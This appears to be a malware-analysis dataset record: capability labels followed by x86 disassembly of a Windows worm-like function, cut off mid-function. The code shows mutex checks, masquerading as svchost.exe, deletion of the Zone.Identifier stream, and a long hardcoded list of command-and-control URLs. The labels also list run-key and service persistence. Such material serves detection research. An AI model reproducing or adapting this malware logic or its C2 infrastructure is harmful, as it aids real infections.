Function at 0x402960
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create http request
Create thread
Delete file
Hide graphical window
Move file
Persist via run registry key
Persist via windows service
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1144
call fcn.00404a00
push esi
push edi
push 0x14b4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0xa8c], 0x2350
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0xa8c]
jae 0x402f12
push 0
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1080], eax
cmp dword [ebp - 0x1080], 0
je 0x402e0c
push 0xc80
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.t4tw4t4wt4t4t4t4tt4t4ttwt4
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.gsdgg3g34gs3gs4gs4g4sg
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1094], eax
push str.t4tw4t4wt4t4t4t4tt4t4ttwt4
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x1094], 0
je 0x402ad1
push str.t4tw4t4wt4t4t4t4tt4t4ttwt4
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov ecx, dword [ebp - 0x1094]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1088], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1088], 0
je 0x402ab9
push str.t4tw4t4wt4t4t4t4tt4t4ttwt4
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4b53b5b4m52m5m45b45m45
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1088]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1094]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ecx, dword [ebp - 0x1080]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [ebp - 0x1080]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [ebp - 0x1080]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push str.3fgw4hwh4h4hw44f
push str.4b53b5b4m52m5m45b45m45
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [ebp - 0x1080]
push ecx
call dword [sym.imp.USER32.dll_CloseWindow]
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x109c], 0x2c
mov dword [ebp - 0x108c], 0x37
mov edx, dword [ebp - 0x109c]
add edx, dword [ebp - 0x108c]
mov dword [ebp - 0x1098], edx
cmp dword [ebp - 0x1098], 0xc8
jge 0x402d53
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10a0], eax
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1094], eax
cmp dword [ebp - 0x1094], 0
je 0x402c58
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov eax, dword [ebp - 0x1094]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1088], eax
cmp dword [ebp - 0x1088], 0
je 0x402c40
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4o4pp45udtdtt3t3tdtf
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x1088]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1094]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x10a0], 0
je 0x402d53
mov eax, dword [ebp - 0x10a0]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
mov ecx, dword [ebp - 0x10a0]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.4o4pp45udtdtt3t3tdtf
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x1094], eax
cmp dword [ebp - 0x1094], 0
je 0x402d46
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov edx, dword [ebp - 0x1094]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1088], eax
cmp dword [ebp - 0x1088], 0
je 0x402d1b
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x1088]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x1094]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x1090], 0xd48
mov dword [ebp - 0x1084], 0x514
mov edx, dword [ebp - 0x1090]
cmp edx, dword [ebp - 0x1084]
jbe 0x402dd3
push 0
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10a4], eax
cmp dword [ebp - 0x10a4], 0
je 0x402dd1
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.gsdgg3g34gs3gs4gs4g4sg
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x1084]
add eax, 1
mov dword [ebp - 0x1084], eax
jmp 0x402d67
mov dword [ebp - 0x10a8], 0
jmp 0x402dee
mov ecx, dword [ebp - 0x10a8]
add ecx, 1
mov dword [ebp - 0x10a8], ecx
cmp dword [ebp - 0x10a8], 0x1194
jge 0x402e0c
push str.4b53b5b4m52m5m45b45m45
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x402ddf
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402e4c
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.24b5m42b46b42bm24b5b245m
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.24524h4fbh24bfhf4hb24f
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x107c], eax
cmp dword [ebp - 0x107c], 0
je 0x402efe
push 1
mov edx, dword [ebp - 0x1080]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.t4tw4t4wt4t4t4t4tt4t4ttwt4
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 1
mov eax, dword [ebp - 0x1080]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.24b5m42b46b42bm24b5b245m
push str.4b53b5b4m52m5m45b45m45
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov ecx, dword [ebp - 0x1080]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.wf4wfwfw4fwg4g4g4wg4w
push str.4o4pp45udtdtt3t3tdtf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0x1080]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
mov eax, dword [ebp - 0x4c4]
add eax, 1
mov dword [ebp - 0x4c4], eax
jmp 0x40298e
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004027b0
movzx ecx, al
cmp ecx, 1
je 0x402f37
call fcn.00402760
movzx edx, al
cmp edx, 1
jne 0x402f3f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [str.gh555fd]
mov dword [ebp - 0x4c0], eax
mov ecx, dword [0x405d5c]
mov dword [ebp - 0x4bc], ecx
mov edx, dword [str.svchost.exe]
mov dword [ebp - 0xa88], edx
mov eax, dword [0x405d64]
mov dword [ebp - 0xa84], eax
mov ecx, dword [0x405d68]
mov dword [ebp - 0xa80], ecx
mov edx, dword [0x405d6c]
mov dword [ebp - 0xa7c], edx
mov eax, dword [0x405d70]
mov dword [ebp - 0xa78], eax
mov ecx, dword [0x405d74]
mov dword [ebp - 0xa74], ecx
mov ecx, 0x11
mov esi, str.Host_Process_for_Windows_Services
lea edi, [ebp - 0x4b8]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x838], str.http:__worm.ws_
mov dword [ebp - 0x834], str.http:__seuufhehfueugher.ws_
mov dword [ebp - 0x830], str.http:__feuhdeuhduhuehdr.ws_
mov dword [ebp - 0x82c], str.http:__feauhueudughuurr.ws_
mov dword [ebp - 0x828], str.http:__fheuhdwdzwgzdggr.ws_
mov dword [ebp - 0x824], str.http:__faugzeazdezgzgfr.ws_
mov dword [ebp - 0x820], str.http:__wduufbaueeubffgr.ws_
mov dword [ebp - 0x81c], str.http:__okdoekeoehghaoer.ws_
mov dword [ebp - 0x818], str.http:__efuheruhdehduhgr.ws_
mov dword [ebp - 0x814], str.http:__eafueudzefverrgr.ws_
mov dword [ebp - 0x810], str.http:__deauduafzgezzfgr.ws_
mov dword [ebp - 0x80c], str.http:__gaueudbuwdbuguur.ws_
mov dword [ebp - 0x808], str.http:__efeuafubeubaefur.ws_
mov dword [ebp - 0x804], str.http:__eafuebdbedbedggr.ws_
mov dword [ebp - 0x800], str.http:__wdkowdohwodhfhfr.ws_
mov dword [ebp - 0x7fc], str.http:__efaeduvedvzfufur.ws_
mov dword [ebp - 0x7f8], str.http:__edhuaudhuedugufr.ws_
mov dword [ebp - 0x7f4], str.http:__eaffuebudbeudbbr.ws_
mov dword [ebp - 0x7f0], str.http:__seuufhehfueughel.to_
mov dword [ebp - 0x7ec], str.http:__feuhdeuhduhuehdl.to_
mov dword [ebp - 0x7e8], str.http:__feauhueudughuurl.to_
mov dword [ebp - 0x7e4], str.http:__fheuhdwdzwgzdggl.to_
mov dword [ebp - 0x7e0], str.http:__faugzeazdezgzgfl.to_
mov dword [ebp - 0x7dc], str.http:__wduufbaueeubffgl.to_
mov dword [ebp - 0x7d8], str.http:__okdoekeoehghaoel.to_
mov dword [ebp - 0x7d4], str.http:__efuheruhdehduhgl.to_
mov dword [ebp - 0x7d0], str.http:__eafueudzefverrgl.to_
mov dword [ebp - 0x7cc], str.http:__deauduafzgezzfgl.to_
mov dword [ebp - 0x7c8], str.http:__gaueudbuwdbuguul.to_
mov dword [ebp - 0x7c4], str.http:__efeuafubeubaeful.to_
mov dword [ebp - 0x7c0], str.http:__eafuebdbedbedggl.to_
mov dword [ebp - 0x7bc], str.http:__wdkowdohwodhfhfl.to_
mov dword [ebp - 0x7b8], str.http:__efaeduvedvzfuful.to_
mov dword [ebp - 0x7b4], str.http:__edhuaudhuedugufl.to_
mov dword [ebp - 0x7b0], str.http:__eaffuebudbeudbbl.to_
mov dword [ebp - 0x7ac], str.http:__seuufhehfueughes.top_
mov dword [ebp - 0x7a8], str.http:__feuhdeuhduhuehds.top_
mov dword [ebp - 0x7a4], str.http:__feauhueudughuurs.top_
mov dword [ebp - 0x7a0], str.http:__fheuhdwdzwgzdggs.top_
mov dword [ebp - 0x79c], str.http:__faugzeazdezgzgfs.top_
mov dword [ebp - 0x798], str.http:__wduufbaueeubffgs.top_
mov dword [ebp - 0x794], str.http:__okdoekeoehghaoes.top_
mov dword [ebp - 0x790], str.http:__efuheruhdehduhgs.top_
mov dword [ebp - 0x78c], str.http:__eafueudzefverrgs.top_
mov dword [ebp - 0x788], str.http:__deauduafzgezzfgs.top_
mov dword [ebp - 0x784], str.http:__gaueudbuwdbuguus.top_
mov dword [ebp - 0x780], str.http:__efeuafubeubaefus.top_
mov dword [ebp - 0x77c], str.http:__eafuebdbedbedggs.top_
mov dword [ebp - 0x778], str.http:__wdkowdohwodhfhfs.top_
mov dword [ebp - 0x774], str.http:__efaeduvedvzfufus.top_
mov dword [ebp - 0x770], str.http:__edhuaudhuedugufs.top_
mov dword [ebp - 0x76c], str.http:__eaffuebudbeudbbs.top_
mov dword [ebp - 0x768], str.http:__tsrv1.ws_
mov dword [ebp - 0x764], str.http:__tsrv2.top_
mov dword [ebp - 0x760], str.http:__tsrv3.ru_
mov dword [ebp - 0x75c], str.http:__tsrv4.ws_
mov dword [ebp - 0x758], str.http:__tsrv5.top_
mov dword [ebp - 0x754], str.http:__worm.top_
mov dword [ebp - 0xa70], str.12345
mov dword [ebp - 0xa6c], 0x406420
mov dword [ebp - 0xa68], 0x406424
mov dword [ebp - 0xa64], 0x406428
mov dword [ebp - 0xa60], 0x40642c
mov dword [ebp - 0x1078], 0x406430
mov dword [ebp - 0x1074], str._userprofile_
mov dword [ebp - 0x1070], str._temp_
mov edx, dword [0x406478]
mov dword [ebp - 0x500], edx
mov eax, dword [0x40647c]
mov dword [ebp - 0x4fc], eax
mov ecx, dword [0x406480]
mov dword [ebp - 0x4f8], ecx
mov edx, dword [0x406484]
mov dword [ebp - 0x4f4], edx
mov ax, word [0x406488]
mov word [ebp - 0x4f0], ax
mov cl, byte [0x40648a]
mov byte [ebp - 0x4ee], cl
mov ecx, 7
mov esi, 0x40648c
lea edi, [ebp - 0xa5c]
rep movsd dword es:[edi], dword [esi]
mov ecx, 6
mov esi, 0x4064a8
lea edi, [ebp - 0x46c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 6
mov esi, 0x4064c4
lea edi, [ebp - 0xdbc]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xb
mov esi, 0x4064e0
lea edi, [ebp - 0x750]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x10
mov esi, 0x406510
lea edi, [ebp - 0x1028]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edx, dword [0x406554]
mov dword [ebp - 0x720], edx
mov eax, dword [0x406558]
mov dword [ebp - 0x71c], eax
mov ecx, dword [0x40655c]
mov dword [ebp - 0x718], ecx
mov edx, dword [0x406560]
mov dword [ebp - 0x714], edx
mov ax, word [0x406564]
mov word [ebp - 0x710], ax
mov ecx, 5
mov esi, 0x406568
lea edi, [ebp - 0x1068]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, dword [0x406580]
mov dword [ebp - 0x450], ecx
mov edx, dword [0x406584]
mov dword [ebp - 0x44c], edx
mov eax, dword [0x406588]
mov dword [ebp - 0x448], eax
mov ecx, dword [0x40658c]
mov dword [ebp - 0x444], ecx
mov dl, byte [0x406590]
mov byte [ebp - 0x440], dl
mov eax, dword [0x406594]
mov dword [ebp - 0xfe0], eax
mov ecx, dword [0x406598]
mov dword [ebp - 0xfdc], ecx
mov edx, dword [0x40659c]
mov dword [ebp - 0xfd8], edx
mov eax, dword [0x4065a0]
mov dword [ebp - 0xfd4], eax
mov ecx, dword [0x4065a4]
mov dword [ebp - 0xfd0], ecx
mov dx, word [0x4065a8]
mov word [ebp - 0xfcc], dx
mov ecx, 9
mov esi, 0x4065ac
lea edi, [ebp - 0x43c]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xa
mov esi, 0x4065d0
lea edi, [ebp - 0x1050]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x4c0]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x106c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40340f
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x70c], 0
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x4ec], 0
xor ecx, ecx
mov dword [ebp - 0x4e8], ecx
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x4e0], ecx
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x4d8], ecx
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x4d0], ecx
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x4c8], ecx
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0xa8c], 0x2350
mov edx, dword [ebp - 0x4c4]
cmp edx, dword [ebp - 0xa8c]
jae 0x4038bc
push 0
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10b0], eax
cmp dword [ebp - 0x10b0], 0
je 0x40383f
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4o4pp45udtdtt3t3tdtf
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.24b5m42b46b42bm24b5b245m
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10c4], eax
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x10c4], 0
je 0x40356b
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov eax, dword [ebp - 0x10c4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10b8], eax
cmp dword [ebp - 0x10b8], 0
je 0x403553
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10b8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10c4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
mov eax, dword [ebp - 0x10b0]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 0x10b0]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10b0]
push edx
call dword [sym.imp.USER32.dll_SetFocus]
mov dword [ebp - 0x10cc], 0x5a
mov dword [ebp - 0x10bc], 0x32
mov eax, dword [ebp - 0x10cc]
add eax, dword [ebp - 0x10bc]
mov dword [ebp - 0x10c8], eax
cmp dword [ebp - 0x10c8], 0x2710
jge 0x4037ac
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10d0], eax
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10c4], eax
cmp dword [ebp - 0x10c4], 0
je 0x4036b1
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov ecx, dword [ebp - 0x10c4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10b8], eax
cmp dword [ebp - 0x10b8], 0
je 0x40369c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4b53b5b4m52m5m45b45m45
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.4o4pp45udtdtt3t3tdtf
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov edx, dword [ebp - 0x10b8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10c4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x10d0], 0
je 0x4037ac
mov ecx, dword [ebp - 0x10d0]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
mov edx, dword [ebp - 0x10d0]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.4o4pp45udtdtt3t3tdtf
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10c4], eax
cmp dword [ebp - 0x10c4], 0
je 0x40379f
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov eax, dword [ebp - 0x10c4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10b8], eax
cmp dword [ebp - 0x10b8], 0
je 0x403774
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x10b8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.t4tw4t4wt4t4t4t4tt4t4ttwt4
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10c4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x10c0], 0x8232
mov dword [ebp - 0x10b4], 0x190
mov eax, dword [ebp - 0x10c0]
cmp eax, dword [ebp - 0x10b4]
jbe 0x403806
push 0
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10d4], eax
cmp dword [ebp - 0x10d4], 0
je 0x403804
push str.gsdgg3g34gs3gs4gs4g4sg
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x10b4]
add ecx, 1
mov dword [ebp - 0x10b4], ecx
jmp 0x4037c0
mov dword [ebp - 0x10d8], 0
jmp 0x403821
mov edx, dword [ebp - 0x10d8]
add edx, 1
mov dword [ebp - 0x10d8], edx
cmp dword [ebp - 0x10d8], 0x9c4
jge 0x40383f
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x403812
push str.24b5m42b46b42bm24b5b245m
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40385e
push str.24b5m42b46b42bm24b5b245m
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.24524h4fbh24bfhf4hb24f
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10ac], eax
cmp dword [ebp - 0x10ac], 0
je 0x4038a8
push 1
mov eax, dword [ebp - 0x10b0]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.kl4wkflw4kfkl4wkl4kg
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x10b0]
push ecx
call dword [sym.imp.USER32.dll_CloseWindow]
mov edx, dword [ebp - 0x4c4]
add edx, 1
mov dword [ebp - 0x4c4], edx
jmp 0x403479
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
lea eax, [ebp - 0x708]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004015d0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea ecx, [ebp - 0x708]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0xdc0], eax
lea edx, [ebp - 0x708]
push edx
push str._ls:Zone.Identifier
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.svchost.
lea edx, [ebp - 0x708]
push edx
call fcn.004049c0
add esp, 8
test eax, eax
jne 0x4044b6
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0xa8c], 0x235a
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0xa8c]
jae 0x403db7
push 0
push str.3fgw4hwh4h4hw44f
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10e0], eax
cmp dword [ebp - 0x10e0], 0
je 0x403cf1
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wf4wfwfw4fwg4g4g4wg4w
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.Firefox
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10f4], eax
cmp dword [ebp - 0x10f4], 0
je 0x403a44
push 0
push 0
push 0
push 0
push str.http:__www.vk.ru_
mov ecx, dword [ebp - 0x10f4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10e8], eax
cmp dword [ebp - 0x10e8], 0
je 0x403a2c
push 0x9c40
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.kl4wkflw4kfkl4wkl4kg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x10e8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10f4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ecx, dword [ebp - 0x10e0]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
mov edx, dword [ebp - 0x10e0]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x7d0
